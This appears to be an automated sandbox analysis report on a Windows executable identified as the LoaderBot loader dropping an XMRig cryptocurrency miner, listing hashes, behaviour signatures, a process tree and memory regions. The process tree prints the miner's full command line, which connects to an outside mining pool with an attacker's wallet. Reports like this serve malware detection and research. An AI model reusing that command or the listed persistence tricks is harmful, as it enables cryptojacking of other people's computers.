Analysis

  • max time kernel
    70s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2023 14:14

General

  • Target

    a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba.exe

  • Size

    2.7MB

  • MD5

    e7bf9f0c2c1977ddd8e139c13c27be0d

  • SHA1

    e91aff3d9a8c7cef0e9543350864971e4ad93f82

  • SHA256

    a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba

  • SHA512

    d9961824b178944aec2411c1bb29a5ef4b487ce0c251fe381e2841c6abe00f29ecf895ab1baf93e49442af07a14acdcf9d882519d39beb5c4d4902db2db2560f

  • SSDEEP

    49152:552sxwTr/VsoJteujcnqNwelN/z52r7zj9n0cqv/3SYd:55jxa3JteujcncNNQzj9hqXCY

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba.exe
    "C:\Users\Admin\AppData\Local\Temp\a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Users\Admin\AppData\Local\Temp\a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba.exe
      "{path}"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1288
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1288 -s 760
          4⤵
          • Program crash
          PID:264
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1724
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1724 -s 536
          4⤵
          • Program crash
          PID:2000
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
        3⤵
          PID:1016
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 448 -p 1288 -ip 1288
      1⤵
        PID:4576
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 444 -p 1724 -ip 1724
        1⤵
          PID:856

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\a615a2c647bce3b67f43c818a7fd972a653a605efce83b7eb6f38fb374ec8eba.exe.log

          Filesize

          1KB

          MD5

          17573558c4e714f606f997e5157afaac

          SHA1

          13e16e9415ceef429aaf124139671ebeca09ed23

          SHA256

          c18db6aecad2436da4a63ff26af4e3a337cca48f01c21b8db494fe5ccc60e553

          SHA512

          f4edf13f05a0d142e4dd42802098c8c44988ee8869621a62c2b565a77c9a95857f636583ff8d6d9baa366603d98b9bfbf1fc75bc6f9f8f83c80cb1215b2941cc

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • memory/1016-185-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

          Filesize

          128KB

        • memory/1016-184-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-187-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-190-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-182-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-189-0x0000000001FF0000-0x0000000002010000-memory.dmp

          Filesize

          128KB

        • memory/1016-183-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-191-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-181-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1016-186-0x0000000001FF0000-0x0000000002010000-memory.dmp

          Filesize

          128KB

        • memory/1016-188-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

          Filesize

          128KB

        • memory/1128-146-0x0000000005C70000-0x0000000005CD6000-memory.dmp

          Filesize

          408KB

        • memory/1128-141-0x0000000000400000-0x00000000007FE000-memory.dmp

          Filesize

          4.0MB

        • memory/1128-165-0x0000000005A70000-0x0000000005A80000-memory.dmp

          Filesize

          64KB

        • memory/1128-154-0x0000000005A70000-0x0000000005A80000-memory.dmp

          Filesize

          64KB

        • memory/1288-160-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1288-158-0x00000000004D0000-0x00000000004E4000-memory.dmp

          Filesize

          80KB

        • memory/1724-169-0x0000000000540000-0x0000000000560000-memory.dmp

          Filesize

          128KB

        • memory/1724-168-0x0000000000520000-0x0000000000540000-memory.dmp

          Filesize

          128KB

        • memory/1724-170-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-172-0x0000000000540000-0x0000000000560000-memory.dmp

          Filesize

          128KB

        • memory/1724-171-0x0000000000520000-0x0000000000540000-memory.dmp

          Filesize

          128KB

        • memory/1724-173-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-174-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-175-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-177-0x0000000000520000-0x0000000000540000-memory.dmp

          Filesize

          128KB

        • memory/1724-178-0x0000000000540000-0x0000000000560000-memory.dmp

          Filesize

          128KB

        • memory/1724-163-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-164-0x00000000004F0000-0x0000000000510000-memory.dmp

          Filesize

          128KB

        • memory/1724-167-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/1724-166-0x0000000140000000-0x0000000140B75000-memory.dmp

          Filesize

          11.5MB

        • memory/4808-139-0x00000000055D0000-0x0000000005626000-memory.dmp

          Filesize

          344KB

        • memory/4808-133-0x0000000000650000-0x000000000090C000-memory.dmp

          Filesize

          2.7MB

        • memory/4808-134-0x0000000005270000-0x000000000530C000-memory.dmp

          Filesize

          624KB

        • memory/4808-135-0x00000000058C0000-0x0000000005E64000-memory.dmp

          Filesize

          5.6MB

        • memory/4808-136-0x00000000053B0000-0x0000000005442000-memory.dmp

          Filesize

          584KB

        • memory/4808-137-0x00000000055C0000-0x00000000055D0000-memory.dmp

          Filesize

          64KB

        • memory/4808-138-0x0000000005360000-0x000000000536A000-memory.dmp

          Filesize

          40KB

        • memory/4808-140-0x00000000055C0000-0x00000000055D0000-memory.dmp

          Filesize

          64KB